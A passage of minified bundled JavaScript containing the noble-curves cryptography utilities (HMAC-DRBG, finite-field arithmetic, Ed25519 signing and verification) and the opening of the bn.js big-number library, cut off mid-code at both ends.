r=0;r<e.length;r++)n|=e[r]^t[r];return n===0}function t5(e){if(typeof e!="string")throw new Error(`utf8ToBytes expected string, got ${typeof e}`);return new Uint8Array(new TextEncoder().encode(e))}function n5(e){let t;for(t=0;e>rM;e>>=cm,t+=1);return t}function r5(e,t){return e>>BigInt(t)&cm}function o5(e,t,n){return e|(n?cm:rM)<<BigInt(t)}const Rb=e=>(QR<<BigInt(e-1))-cm,yv=e=>new Uint8Array(e),Qq=e=>Uint8Array.from(e);function iM(e,t,n){if(typeof e!="number"||e<2)throw new Error("hashLen must be a number");if(typeof t!="number"||t<2)throw new Error("qByteLen must be a number");if(typeof n!="function")throw new Error("hmacFn must be a function");let r=yv(e),o=yv(e),i=0;const s=()=>{r.fill(1),o.fill(0),i=0},a=(...f)=>n(o,r,...f),l=(f=yv())=>{o=a(Qq([0]),f),r=a(),f.length!==0&&(o=a(Qq([1]),f),r=a())},u=()=>{if(i++>=1e3)throw new Error("drbg: tried 1000 values");let f=0;const p=[];for(;f<t;){r=a();const m=r.slice();p.push(m),f+=r.length}return El(...p)};return(f,p)=>{s(),l(f);let m;for(;!(m=p(u()));)l();return s(),m}}const i5={bigint:e=>typeof e=="bigint",function:e=>typeof e=="function",boolean:e=>typeof e=="boolean",string:e=>typeof e=="string",stringOrUint8Array:e=>typeof e=="string"||wl(e),isSafeInteger:e=>Number.isSafeInteger(e),array:e=>Array.isArray(e),field:(e,t)=>t.Fp.isValid(e),hash:e=>typeof e=="function"&&Number.isSafeInteger(e.outputLen)};function fc(e,t,n={}){const r=(o,i,s)=>{const a=i5[i];if(typeof a!="function")throw new Error(`Invalid validator "${i}", expected function`);const l=e[o];if(!(s&&l===void 0)&&!a(l,e))throw new Error(`Invalid param ${String(o)}=${l} (${typeof l}), expected ${i}`)};for(const[o,i]of Object.entries(t))r(o,i,!1);for(const[o,i]of Object.entries(n))r(o,i,!0);return e}const s5=Object.freeze(Object.defineProperty({__proto__:null,abytes:Qd,bitGet:r5,bitLen:n5,bitMask:Rb,bitSet:o5,bytesToHex:Sl,bytesToNumberBE:fl,bytesToNumberLE:xu,concatBytes:El,createHmacDrbg:iM,ensureBytes:ur,equalBytes:e5,hexToBytes:Vu,hexToNumber:Kb,isBytes:wl,numberToBytesBE:Uu,numberToBytesLE:qd,numberToHexUnpadded:oM,numberToVarBytesBE:$R,utf8ToBytes:t5,validateObject:fc},Symbol.toStringTag,{value:"Module"}));/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const Ir=BigInt(0),Jn=BigInt(1),Ua=BigInt(2),a5=BigInt(3),og=BigInt(4),_q=BigInt(5),$q=BigInt(8);BigInt(9);BigInt(16);function Wn(e,t){const n=e%t;return n>=Ir?n:t+n}function l5(e,t,n){if(n<=Ir||t<Ir)throw new Error("Expected power/modulo > 0");if(n===Jn)return Ir;let r=Jn;for(;t>Ir;)t&Jn&&(r=r*e%n),e=e*e%n,t>>=Jn;return r}function Dn(e,t,n){let r=e;for(;t-- >Ir;)r*=r,r%=n;return r}function ig(e,t){if(e===Ir||t<=Ir)throw new Error(`invert: expected positive integers, got n=${e} mod=${t}`);let n=Wn(e,t),r=t,o=Ir,i=Jn;for(;n!==Ir;){const a=r/n,l=r%n,u=o-i*a;r=n,n=l,o=i,i=u}if(r!==Jn)throw new Error("invert: does not exist");return Wn(o,t)}function u5(e){const t=(e-Jn)/Ua;let n,r,o;for(n=e-Jn,r=0;n%Ua===Ir;n/=Ua,r++);for(o=Ua;o<e&&l5(o,t,e)!==e-Jn;o++);if(r===1){const s=(e+Jn)/og;return function(l,u){const c=l.pow(u,s);if(!l.eql(l.sqr(c),u))throw new Error("Cannot find square root");return c}}const i=(n+Jn)/Ua;return function(a,l){if(a.pow(l,t)===a.neg(a.ONE))throw new Error("Cannot find square root");let u=r,c=a.pow(a.mul(a.ONE,o),n),f=a.pow(l,i),p=a.pow(l,n);for(;!a.eql(p,a.ONE);){if(a.eql(p,a.ZERO))return a.ZERO;let m=1;for(let v=a.sqr(p);m<u&&!a.eql(v,a.ONE);m++)v=a.sqr(v);const g=a.pow(c,Jn<<BigInt(u-m-1));c=a.sqr(g),f=a.mul(f,g),p=a.mul(p,c),u=m}return f}}function c5(e){if(e%og===a5){const t=(e+Jn)/og;return function(r,o){const i=r.pow(o,t);if(!r.eql(r.sqr(i),o))throw new Error("Cannot find square root");return i}}if(e%$q===_q){const t=(e-_q)/$q;return function(r,o){const i=r.mul(o,Ua),s=r.pow(i,t),a=r.mul(o,s),l=r.mul(r.mul(a,Ua),s),u=r.mul(a,r.sub(l,r.ONE));if(!r.eql(r.sqr(u),o))throw new Error("Cannot find square root");return u}}return u5(e)}const d5=(e,t)=>(Wn(e,t)&Jn)===Jn,f5=["create","isValid","is0","neg","inv","sqrt","sqr","eql","add","sub","mul","pow","div","addN","subN","mulN","sqrN"];function h5(e){const t={ORDER:"bigint",MASK:"bigint",BYTES:"isSafeInteger",BITS:"isSafeInteger"},n=f5.reduce((r,o)=>(r[o]="function",r),t);return fc(e,n)}function p5(e,t,n){if(n<Ir)throw new Error("Expected power > 0");if(n===Ir)return e.ONE;if(n===Jn)return t;let r=e.ONE,o=t;for(;n>Ir;)n&Jn&&(r=e.mul(r,o)),o=e.sqr(o),n>>=Jn;return r}function m5(e,t){const n=new Array(t.length),r=t.reduce((i,s,a)=>e.is0(s)?i:(n[a]=i,e.mul(i,s)),e.ONE),o=e.inv(r);return t.reduceRight((i,s,a)=>e.is0(s)?i:(n[a]=e.mul(i,n[a]),e.mul(i,s)),o),n}function sM(e,t){const n=t!==void 0?t:e.toString(2).length,r=Math.ceil(n/8);return{nBitLength:n,nByteLength:r}}function aM(e,t,n=!1,r={}){if(e<=Ir)throw new Error(`Expected Field ORDER > 0, got ${e}`);const{nBitLength:o,nByteLength:i}=sM(e,t);if(i>2048)throw new Error("Field lengths over 2048 bytes are not supported");const s=c5(e),a=Object.freeze({ORDER:e,BITS:o,BYTES:i,MASK:Rb(o),ZERO:Ir,ONE:Jn,create:l=>Wn(l,e),isValid:l=>{if(typeof l!="bigint")throw new Error(`Invalid field element: expected bigint, got ${typeof l}`);return Ir<=l&&l<e},is0:l=>l===Ir,isOdd:l=>(l&Jn)===Jn,neg:l=>Wn(-l,e),eql:(l,u)=>l===u,sqr:l=>Wn(l*l,e),add:(l,u)=>Wn(l+u,e),sub:(l,u)=>Wn(l-u,e),mul:(l,u)=>Wn(l*u,e),pow:(l,u)=>p5(a,l,u),div:(l,u)=>Wn(l*ig(u,e),e),sqrN:l=>l*l,addN:(l,u)=>l+u,subN:(l,u)=>l-u,mulN:(l,u)=>l*u,inv:l=>ig(l,e),sqrt:r.sqrt||(l=>s(a,l)),invertBatch:l=>m5(a,l),cmov:(l,u,c)=>c?u:l,toBytes:l=>n?qd(l,i):Uu(l,i),fromBytes:l=>{if(l.length!==i)throw new Error(`Fp.fromBytes: expected ${i}, got ${l.length}`);return n?xu(l):fl(l)}});return Object.freeze(a)}function v5(e,t){if(!e.isOdd)throw new Error("Field doesn't have isOdd");const n=e.sqrt(t);return e.isOdd(n)?e.neg(n):n}function lM(e){if(typeof e!="bigint")throw new Error("field order must be bigint");const t=e.toString(2).length;return Math.ceil(t/8)}function uM(e){const t=lM(e);return t+Math.ceil(t/2)}function g5(e,t,n=!1){const r=e.length,o=lM(t),i=uM(t);if(r<16||r<i||r>1024)throw new Error(`expected ${i}-1024 bytes of input, got ${r}`);const s=n?fl(e):xu(e),a=Wn(s,t-Jn)+Jn;return n?qd(a,o):Uu(a,o)}/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const y5=BigInt(0),bv=BigInt(1);function cM(e,t){const n=(o,i)=>{const s=i.negate();return o?s:i},r=o=>{const i=Math.ceil(t/o)+1,s=2**(o-1);return{windows:i,windowSize:s}};return{constTimeNegate:n,unsafeLadder(o,i){let s=e.ZERO,a=o;for(;i>y5;)i&bv&&(s=s.add(a)),a=a.double(),i>>=bv;return s},precomputeWindow(o,i){const{windows:s,windowSize:a}=r(i),l=[];let u=o,c=u;for(let f=0;f<s;f++){c=u,l.push(c);for(let p=1;p<a;p++)c=c.add(u),l.push(c);u=c.double()}return l},wNAF(o,i,s){const{windows:a,windowSize:l}=r(o);let u=e.ZERO,c=e.BASE;const f=BigInt(2**o-1),p=2**o,m=BigInt(o);for(let g=0;g<a;g++){const v=g*l;let I=Number(s&f);s>>=m,I>l&&(I-=p,s+=bv);const q=v,M=v+Math.abs(I)-1,E=g%2!==0,x=I<0;I===0?c=c.add(n(E,i[q])):u=u.add(n(x,i[M]))}return{p:u,f:c}},wNAFCached(o,i,s,a){const l=o._WINDOW_SIZE||1;let u=i.get(o);return u||(u=this.precomputeWindow(o,l),l!==1&&i.set(o,a(u))),this.wNAF(l,u,s)}}}function Lb(e){return h5(e.Fp),fc(e,{n:"bigint",h:"bigint",Gx:"field",Gy:"field"},{nBitLength:"isSafeInteger",nByteLength:"isSafeInteger"}),Object.freeze({...sM(e.n,e.nBitLength),...e,p:e.Fp.ORDER})}/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const Qo=BigInt(0),ho=BigInt(1),xf=BigInt(2),b5=BigInt(8),I5={zip215:!0};function q5(e){const t=Lb(e);return fc(e,{hash:"function",a:"bigint",d:"bigint",randomBytes:"function"},{adjustScalarBytes:"function",domain:"function",uvRatio:"function",mapToCurve:"function"}),Object.freeze({...t})}function Zb(e){const t=q5(e),{Fp:n,n:r,prehash:o,hash:i,randomBytes:s,nByteLength:a,h:l}=t,u=xf<<BigInt(a*8)-ho,c=n.create,f=t.uvRatio||((C,S)=>{try{return{isValid:!0,value:n.sqrt(C*n.inv(S))}}catch{return{isValid:!1,value:Qo}}}),p=t.adjustScalarBytes||(C=>C),m=t.domain||((C,S,z)=>{if(S.length||z)throw new Error("Contexts/pre-hash are not supported");return C}),g=C=>typeof C=="bigint"&&Qo<C,v=(C,S)=>g(C)&&g(S)&&C<S,I=C=>C===Qo||v(C,u);function q(C,S){if(v(C,S))return C;throw new Error(`Expected valid scalar < ${S}, got ${typeof C} ${C}`)}function M(C){return C===Qo?C:q(C,r)}const E=new Map;function x(C){if(!(C instanceof R))throw new Error("ExtendedPoint expected")}class R{constructor(S,z,k,y){if(this.ex=S,this.ey=z,this.ez=k,this.et=y,!I(S))throw new Error("x required");if(!I(z))throw new Error("y required");if(!I(k))throw new Error("z required");if(!I(y))throw new Error("t required")}get x(){return this.toAffine().x}get y(){return this.toAffine().y}static fromAffine(S){if(S instanceof R)throw new Error("extended point not allowed");const{x:z,y:k}=S||{};if(!I(z)||!I(k))throw new Error("invalid affine point");return new R(z,k,ho,c(z*k))}static normalizeZ(S){const z=n.invertBatch(S.map(k=>k.ez));return S.map((k,y)=>k.toAffine(z[y])).map(R.fromAffine)}_setWindowSize(S){this._WINDOW_SIZE=S,E.delete(this)}assertValidity(){const{a:S,d:z}=t;if(this.is0())throw new Error("bad point: ZERO");const{ex:k,ey:y,ez:T,et:te}=this,le=c(k*k),re=c(y*y),de=c(T*T),ce=c(de*de),we=c(le*S),Ie=c(de*c(we+re)),ge=c(ce+c(z*c(le*re)));if(Ie!==ge)throw new Error("bad point: equation left != right (1)");const Me=c(k*y),se=c(T*te);if(Me!==se)throw new Error("bad point: equation left != right (2)")}equals(S){x(S);const{ex:z,ey:k,ez:y}=this,{ex:T,ey:te,ez:le}=S,re=c(z*le),de=c(T*y),ce=c(k*le),we=c(te*y);return re===de&&ce===we}is0(){return this.equals(R.ZERO)}negate(){return new R(c(-this.ex),this.ey,this.ez,c(-this.et))}double(){const{a:S}=t,{ex:z,ey:k,ez:y}=this,T=c(z*z),te=c(k*k),le=c(xf*c(y*y)),re=c(S*T),de=z+k,ce=c(c(de*de)-T-te),we=re+te,Ie=we-le,ge=re-te,Me=c(ce*Ie),se=c(we*ge),ue=c(ce*ge),ve=c(Ie*we);return new R(Me,se,ve,ue)}add(S){x(S);const{a:z,d:k}=t,{ex:y,ey:T,ez:te,et:le}=this,{ex:re,ey:de,ez:ce,et:we}=S;if(z===BigInt(-1)){const xe=c((T-y)*(de+re)),Re=c((T+y)*(de-re)),Ne=c(Re-xe);if(Ne===Qo)return this.double();const Se=c(te*xf*we),Ze=c(le*xf*ce),Q=Ze+Se,J=Re+xe,V=Ze-Se,G=c(Q*Ne),O=c(J*V),Z=c(Q*V),Y=c(Ne*J);return new R(G,O,Y,Z)}const Ie=c(y*re),ge=c(T*de),Me=c(le*k*we),se=c(te*ce),ue=c((y+T)*(re+de)-Ie-ge),ve=se-Me,ke=se+Me,me=c(ge-z*Ie),Ee=c(ue*ve),Le=c(ke*me),Ae=c(ue*me),be=c(ve*ke);return new R(Ee,Le,be,Ae)}subtract(S){return this.add(S.negate())}wNAF(S){return j.wNAFCached(this,E,S,R.normalizeZ)}multiply(S){const{p:z,f:k}=this.wNAF(q(S,r));return R.normalizeZ([z,k])[0]}multiplyUnsafe(S){let z=M(S);return z===Qo?W:this.equals(W)||z===ho?this:this.equals(K)?this.wNAF(z).p:j.unsafeLadder(this,z)}isSmallOrder(){return this.multiplyUnsafe(l).is0()}isTorsionFree(){return j.unsafeLadder(this,r).is0()}toAffine(S){const{ex:z,ey:k,ez:y}=this,T=this.is0();S==null&&(S=T?b5:n.inv(y));const te=c(z*S),le=c(k*S),re=c(y*S);if(T)return{x:Qo,y:ho};if(re!==ho)throw new Error("invZ was invalid");return{x:te,y:le}}clearCofactor(){const{h:S}=t;return S===ho?this:this.multiplyUnsafe(S)}static fromHex(S,z=!1){const{d:k,a:y}=t,T=n.BYTES;S=ur("pointHex",S,T);const te=S.slice(),le=S[T-1];te[T-1]=le&-129;const re=xu(te);re===Qo||(z?q(re,u):q(re,n.ORDER));const de=c(re*re),ce=c(de-ho),we=c(k*de-y);let{isValid:Ie,value:ge}=f(ce,we);if(!Ie)throw new Error("Point.fromHex: invalid y coordinate");const Me=(ge&ho)===ho,se=(le&128)!==0;if(!z&&ge===Qo&&se)throw new Error("Point.fromHex: x=0 and x_0=1");return se!==Me&&(ge=c(-ge)),R.fromAffine({x:ge,y:re})}static fromPrivateKey(S){return U(S).point}toRawBytes(){const{x:S,y:z}=this.toAffine(),k=qd(z,n.BYTES);return k[k.length-1]|=S&ho?128:0,k}toHex(){return Sl(this.toRawBytes())}}R.BASE=new R(t.Gx,t.Gy,ho,c(t.Gx*t.Gy)),R.ZERO=new R(Qo,ho,ho,Qo);const{BASE:K,ZERO:W}=R,j=cM(R,a*8);function H(C){return Wn(C,r)}function P(C){return H(xu(C))}function U(C){const S=a;C=ur("private key",C,S);const z=ur("hashed private key",i(C),2*S),k=p(z.slice(0,S)),y=z.slice(S,2*S),T=P(k),te=K.multiply(T),le=te.toRawBytes();return{head:k,prefix:y,scalar:T,point:te,pointBytes:le}}function X(C){return U(C).pointBytes}function L(C=new Uint8Array,...S){const z=El(...S);return P(i(m(z,ur("context",C),!!o)))}function h(C,S,z={}){C=ur("message",C),o&&(C=o(C));const{prefix:k,scalar:y,pointBytes:T}=U(S),te=L(z.context,k,C),le=K.multiply(te).toRawBytes(),re=L(z.context,le,T,C),de=H(te+re*y);M(de);const ce=El(le,qd(de,n.BYTES));return ur("result",ce,a*2)}const b=I5;function w(C,S,z,k=b){const{context:y,zip215:T}=k,te=n.BYTES;C=ur("signature",C,2*te),S=ur("message",S),o&&(S=o(S));const le=xu(C.slice(te,2*te));let re,de,ce;try{re=R.fromHex(z,T),de=R.fromHex(C.slice(0,te),T),ce=K.multiplyUnsafe(le)}catch{return!1}if(!T&&re.isSmallOrder())return!1;const we=L(y,de.toRawBytes(),re.toRawBytes(),S);return de.add(re.multiplyUnsafe(we)).subtract(ce).clearCofactor().equals(R.ZERO)}return K._setWindowSize(8),{CURVE:t,getPublicKey:X,sign:h,verify:w,ExtendedPoint:R,utils:{getExtendedPublicKey:U,randomPrivateKey:()=>s(n.BYTES),precompute(C=8,S=R.BASE){return S._setWindowSize(C),S.multiply(BigInt(3)),S}}}}/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */const Tb=BigInt("57896044618658097711785492504343953926634992332820282019728792003956564819949"),ew=BigInt("19681161376707505956807079304988542015446066515923890162744021073123829784752");BigInt(0);const w5=BigInt(1),sg=BigInt(2),S5=BigInt(5),tw=BigInt(10),E5=BigInt(20),A5=BigInt(40),nw=BigInt(80);function M5(e){const t=Tb,r=e*e%t*e%t,o=Dn(r,sg,t)*r%t,i=Dn(o,w5,t)*e%t,s=Dn(i,S5,t)*i%t,a=Dn(s,tw,t)*s%t,l=Dn(a,E5,t)*a%t,u=Dn(l,A5,t)*l%t,c=Dn(u,nw,t)*u%t,f=Dn(c,nw,t)*u%t,p=Dn(f,tw,t)*s%t;return{pow_p_5_8:Dn(p,sg,t)*e%t,b2:r}}function C5(e){return e[0]&=248,e[31]&=127,e[31]|=64,e}function k5(e,t){const n=Tb,r=Wn(t*t*t,n),o=Wn(r*r*t,n),i=M5(e*o).pow_p_5_8;let s=Wn(e*r*i,n);const a=Wn(t*s*s,n),l=s,u=Wn(s*ew,n),c=a===e,f=a===Wn(-e,n),p=a===Wn(-e*ew,n);return c&&(s=l),(f||p)&&(s=u),d5(s,n)&&(s=Wn(-s,n)),{isValid:c||f,value:s}}const ps=aM(Tb,void 0,!0),Nb={a:BigInt(-1),d:BigInt("37095705934669439343138083508754565189542113879843219016388785533085940283555"),Fp:ps,n:BigInt("7237005577332262213973186563042994240857116359379907606001950938285454250989"),h:BigInt(8),Gx:BigInt("15112221349535400772501151409588531511454012693041857206046113283949847762202"),Gy:BigInt("46316835694926478169428394003475163141307993866256225615783033603165251855960"),hash:nM,randomBytes:$A,adjustScalarBytes:C5,uvRatio:k5},jb=Zb(Nb);function dM(e,t,n){if(t.length>255)throw new Error("Context is too big");return XA(DA("SigEd25519 no Ed25519 collisions"),new Uint8Array([n?1:0,t.length]),t,e)}({...Nb});({...Nb});const x5=(ps.ORDER+BigInt(3))/BigInt(8);ps.pow(sg,x5);ps.sqrt(ps.neg(ps.ONE));(ps.ORDER-BigInt(5))/BigInt(8);BigInt(486662);v5(ps,ps.neg(BigInt(486664)));BigInt("25063068953384623474111414158702152701244531502492656460079210482610430750235");BigInt("54469307008909316920995813868745141605393597292927456921205312896311721017578");BigInt("1159843021668779879193775521855586647937357759715417654439879720876111806838");BigInt("40440834346308536858101042469323190826248399146238708352240133220865137265952");BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");var Wb={exports:{}};const dm=sm(IR);Wb.exports;(function(e){(function(t,n){function r(L,h){if(!L)throw new Error(h||"Assertion failed")}function o(L,h){L.super_=h;var b=function(){};b.prototype=h.prototype,L.prototype=new b,L.prototype.constructor=L}function i(L,h,b){if(i.isBN(L))return L;this.negative=0,this.words=null,this.length=0,this.red=null,L!==null&&((h==="le"||h==="be")&&(b=h,h=10),this._init(L||0,h||10,b||"be"))}typeof t=="object"?t.exports=i:n.BN=i,i.BN=i,i.wordSize=26;var s;try{typeof window<"u"&&typeof window.Buffer<"u"?s=window.Buffer:s=dm.Buffer}catch{}i.isBN=function(h){return h instanceof i?!0:h!==null&&typeof h=="object"&&h.constructor.wordSize===i.wordSize&&Array.isArray(h.words)},i.max=function(h,b){return h.cmp(b)>0?h:b},i.min=function(h,b){return h.cmp(b)<0?h:b},i.prototype._init=function(h,b,w){if(typeof h=="number")return this._initNumber(h,b,w);if(typeof h=="object")return this._initArray(h,b,w);b==="hex"&&(b=16),r(b===(b|0)&&b>=2&&b<=36),h=h.toString().replace(/\s+/g,"");var A=0;h[0]==="-"&&(A++,this.negative=1),A<h.length&&(b===16?this._parseHex(h,A,w):(this._parseBase(h,b,A),w==="le"&&this._initArray(this.toArray(),b,w)))},i.prototype._initNumber=function(h,b,w){h<0&&(this.negative=1,h=-h),h<67108864?(this.words=[h&67108863],this.length=1):h<4503599627370496?(this.words=[h&67108863,h/67108864&67108863],this.length=2):(r(h<9007199254740992),this.words=[h&67108863,h/67108864&67108863,1],this.length=3),w==="le"&&this._initArray(this.toArray(),b,w)},i.prototype._initArray=function(h,b,w){if(r(typeof h.length=="number"),h.length<=0)return this.words=[0],this.length=1,this;this.length=Math.ceil(h.length/3),this.words=new Array(this.length);for(var A=0;A<this.length;A++)this.words[A]=0;var C,S,z=0;if(w==="be")for(A=h.length-1,C=0;A>=0;A-=3)S=h[A]|h[A-1]<<8|h[A-2]<<16,this.words[C]|=S<<z&67108863,this.words[C+1]=S>>>26-z&67108863,z+=24,z>=26&&(z-=26,C++);else if(w==="le")for(A=0,C=0;A<h.length;A+=3)S=h[A]|h[A+1]<<8|h[A+2]<<16,this.words[C]|=S<<z&67108863,this.words[C+1]=S>>>26-z&67108863,z+=24,z>=26&&(z-=26,C++);return this._strip()};function a(L,h){var b=L.charCodeAt(h);if(b>=48&&b<=57)return b-48;if(b>=65&&b<=70)return b-55;if(b>=97&&b<=102)return b-87;r(!1,"Invalid character in "+L)}function l(L,h,b){var w=a(L,b);return b-1>=h&&(w|=a(L,b-1)<<4),w}i.prototype._parseHex=function(h,b,w){this.length=Math.ceil((h.length-b)/6),this.words=new Array(this.length);for(var A=0;A<this.length;A++)this.words[A]=0;var C=0,S=0,z;if(w==="be")for(A=h.length-1;A>=b;A-=2)z=l(h,b,A)<<C,this.words[S]|=z&67108863,C>=18?(C-=18,S+=1,this.words[S]|=z>>>26):C+=8;else{var k=h.length-b;for(A=k%2===0?b+1:b;A<h.length;A+=2)z=l(h,b,A)<<C,this.words[S]|=z&67108863,C>=18?(C-=18,S+=1,this.words[S]|=z>>>26):C+=8}this._strip()};function u(L,h,b,w){for(var A=0,C=0,S=Math.min(L.length,b),z=h;z<S;z++){var k=L.charCodeAt(z)-48;A*=w,k>=49?C=k-49+10:k>=17?C=k-17+10:C=k,r(k>=0&&C<w,"Invalid character"),A+=C}return A}i.prototype._parseBase=function(h,b,w){this.words=[0],this.length=1;for(var A=0,C=1;C<=67108863;C*=b)A++;A--,C=C/b|0;for(var S=h.length-w,z=S%A,k=Math.min(S,S-z)+w,y=0,T=w;T<k;T+=A)y=u(h,T,T+A,b),this.imuln(C),this.words[0]+y<67108864?this.words[0]+=y:this._iaddn(y);if(z!==0){var te=1;for(y=u(h,T,h.length,b),T=0;T<z;T++)te*=b;this.imuln(te),this.words[0]+y<67108864?this.words[0]+=y:this._iaddn(y)}this._strip()},i.prototype.copy=function(h){h.words=new Array(this.length);for(var b=0;b<this.length;b++)h.words[b]=this.words[b];h.length=this.length,h.negative=this.negative,h.red=this.red};function c(L,h){L.words=h.words,L.length=h.length,L.negative=h.negative,L.red=h.red}if(i.prototype._move=function(h){c(h,this)},i.prototype.clone=function(){var h=new i(null);return this.copy(h),h},i.prototype._expand=function(h){for(;this.length<h;)this.words[this.length++]=0;return this},i.prototype._strip=function(){for(;this.length>1&&this.words[this.length-1]===0;)this.length--;return this._normSign()},i.prototype._normSign=function(){return this.length===1&&this.words[0]===0&&(this.negative=0),this},typeof Symbol<"u"&&typeof Symbol.for=="function")try{i.prototype[Symbol.for("nodejs.util.inspect.custom")]=f}catch{i.prototype.inspect=f}else i.prototype.inspect=f;function f(){return(this.red?"<BN-R: ":"<BN: ")+this.toString(16)+">"}var p=["","0","00","000","0000","00000","000000","0000000","00000000","000000000","0000000000","00000000000","000000000000","0000000000000","00000000000000","000000000000000","0000000000000000","00000000000000000","000000000000000000","0000000000000000000","00000000000000000000","000000000000000000000","0000000000000000000000","00000000000000000000000","000000000000000000000000","0000000000000000000000000"],m=[0,0,25,16,12,11,10,9,8,8,7,7,7,7,6,6,6,6,6,6,6,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5],g=[0,0,33554432,43046721,16777216,48828125,60466176,40353607,16777216,43046721,1e7,19487171,35831808,62748517,7529536,11390625,16777216,24137569,34012224,47045881,64e6,4084101,5153632,6436343,7962624,9765625,11881376,14348907,17210368,20511149,243e5,28629151,33554432,39135393,45435424,52521875,60466176];i.prototype.toString=function(h,b){h=h||10,b=b|0||1;var w;if(h===16||h==="hex"){w="";for(var A=0,C=0,S=0;S<this.length;S++){var z=this.words[S],k=((z<<A|C)&16777215).toString(16);C=z>>>24-A&16777215,A+=2,A>=26&&(A-=26,S--),C!==0||S!==this.length-1?w=p[6-k.length]+k+w:w=k+w}for(C!==0&&(w=C.toString(16)+w);w.length%b!==0;)w="0"+w;return this.negative!==0&&(w="-"+w),w}if(h===(h|0)&&h>=2&&h<=36){var y=m[h],T=g[h];w="";var te=this.clone();for(te.negative=0;!te.isZero();){var le=te.modrn(T).toString(h);te=te.idivn(T),te.isZero()?w=le+w:w=p[y-le.length]+le+w}for(this.isZero()&&(w="0"+w);w.length%b!==0;)w="0"+w;return this.negative!==0&&(w="-"+w),w}r(!1,"Base should be between 2 and 36")},i.prototype.toNumber=function(){var h=this.words[0];return this.length===2?h+=this.words[1]*67108864:this.length===3&&this.words[2]===1?h+=4503599627370496+this.words[1]*67108864:this.length>2&&r(!1,"Number can only safely store up to 53 bits"),this.negative!==0?-h:h},i.prototype.toJSON=function(){return this.toString(16,2)},s&&(i.prototype.toBuffer=function(h,b){return this.toArrayLike(s,h,b)}),i.prototype.toArray=function(h,b){return this.toArrayLike(Array,h,b)};var v=function(h,b){return h.allocUnsafe?h.allocUnsafe(b):new h(b)};i.prototype.toArrayLike=function(h,b,w){this._strip();var A=this.byteLength(),C=w||Math.max(1,A);r(A<=C,"byte array longer than desired length"),r(C>0,"Requested array length <= 0");var S=v(h,C),z=b==="le"?"LE":"BE";return this["_toArrayLike"+z](S,A),S},i.prototype._toArrayLikeLE=function(h,b){for(var w=0,A=0,C=0,S=0;C<this.length;C++){var z=this.words[C]<<S|A;h[w++]=z&255,w<h.length&&(h[w++]=z>>8&255),w<h.length&&(h[w++]=z>>16&255),S===6?(w<h.length&&(h[w++]=z>>24&255),A=0,S=0):(A=z>>>24,S+=2)}if(w<h.length)for(h[w++]=A;w<h.length;)h[w++]=0},i.prototype._toArrayLikeBE=function(h,b){for(var w=h.length-1,A=0,C=0,S=0;C<this.length;C++){var z=this.words[C]<<S|A;h[w--]=z&255,w>=0&&(h[w--]=z>>8&255),w>=0&&(h[w--]=z>>16&255),S===6?(w>=0&&(h[w--]=z>>24&255),A=0,S=0):(A=z>>>24,S+=2)}if(w>=0)for(h[w--]=A;w>=0;)h[w--]=0},Math.clz32?i.prototype._countBits=function(h){return 32-Math.clz32(h)}:i.prototype._countBits=function(h){var b=h,w=0;return b>=4096&&(w+=13,b>>>=13),b>=64&&(w+=7,b>>>=7),b>=8&&(w+=4,b>>>=4),b>=2&&(w+=2,b>>>=2),w+b},i.prototype._zeroBits=function(h){if(h===0)return 26;var b=h,w=0;return b&8191||(w+=13,b>>>=13),b&127||(w+=7,b>>>=7),b&15||(w+=4,b>>>=4),b&3||(w+=2,b>>>=2),b&1||w++,w},i.prototype.bitLength=function(){var h=this.words[this.length-1],b=this._countBits(h);return(this.length-1)*26+b};function I(L){for(var h=new Array(L.bitLength()),b=0;b<h.length;b++){var w=b/26|0,A=b%26;h[b]=L.words[w]>>>A&1}return h}i.prototype.zeroBits=function(){if(this.isZero())return 0;for(var h=0,b=0;b<this.length;b++){var w=this._zeroBits(this.words[b]);if(h+=w,w!==26)break}return h},i.prototype.byteLength=function(){return Math.ceil(this.bitLength()/8)},i.prototype.toTwos=function(h){return this.negative!==0?this.abs().inotn(h).iaddn(1):this.clone()},i.prototype.fromTwos=function(h){return this.testn(h-1)?this.notn(h).iaddn(1).ineg():this.clone()},i.prototype.isNeg=function(){return this.negative!==0},i.prototype.neg=function(){return this.clone().ineg()},i.prototype.ineg=function(){return this.isZero()||(this.negative^=1),this},i.prototype.iuor=function(h){for(;this.length<h.length;)this.words[this.length++]=0;for(var b=0;b<h.length;b++)this.words[b]=this.words[b]|h.words[b];return this._strip()},i.prototype.ior=function(h){return r((this.negative|h.negative)===0),this.iuor(h)},i.prototype.or=function(h){return this.length>h.length?this.clone().ior(h):h.clone().ior(this)},i.prototype.uor=function(h){return this.length>h.length?this.clone().iuor(h):h.clone().iuor(this)},i.prototype.iuand=function(h){var b;this.length>h.length?b=h:b=this;for(var w=0;w<b.length;w++)this.words[w]=this.words[w]&h.words[w];return this.length=b.length,this._strip()},i.prototype.iand=function(h){return r((this.negative|h.negative)===0),this.iuand(h)},i.prototype.and=function(h){return this.length>h.length?this.clone().iand(h):h.clone().iand(this)},i.prototype.uand=function(h){return this.length>h.length?this.clone().iuand(h):h.clone().iuand(this)},i.prototype.iuxor=function(h){var b,w;this.length>h.length?(b=this,w=h):(b=h,w=this);for(var A=0;A<w.length;A++)this.words[A]=b.words[A]^w.words[A];if(this!==b)for(;A<b.length;A++)this.words[A]=b.words[A];return this.length=b.length,this._strip()},i.prototype.ixor=function(h){return r((this.negative|h.negative)===0),this.iuxor(h)},i.prototype.xor=function(h){return this.length>h.length?this.clone().ixor(h):h.clone().ixor(this)},i.prototype.uxor=function(h){return this.length>h.length?this.clone().iuxor(h):h.clone().iuxor(this)},i.prototype.inotn=function(h){r(typeof h=="number"&&h>=0);var b=Math.ceil(h/26)|0,w=h%26;this._expand(b),w>0&&b--;for(var A=0;A<b;A++)this.words[A]=~this.words[A]&67108863;return w>0&&(this.words[A]=~this.words[A]&67108863>>26-w),this._strip()},i.prototype.notn=function(h){return this.clone().inotn(h)},i.prototype.setn=function(h,b){r(typeof h=="number"&&h>=0);var w=h/26|0,A=h%26;return this._expand(w+1),b?this.words[w]=this.words[w]|1<<A:this.words[w]=this.words[w]&~(1<<A),this._strip()},i.prototype.iadd=function(h){var b;if(this.negative!==0&&h.negative===0)return 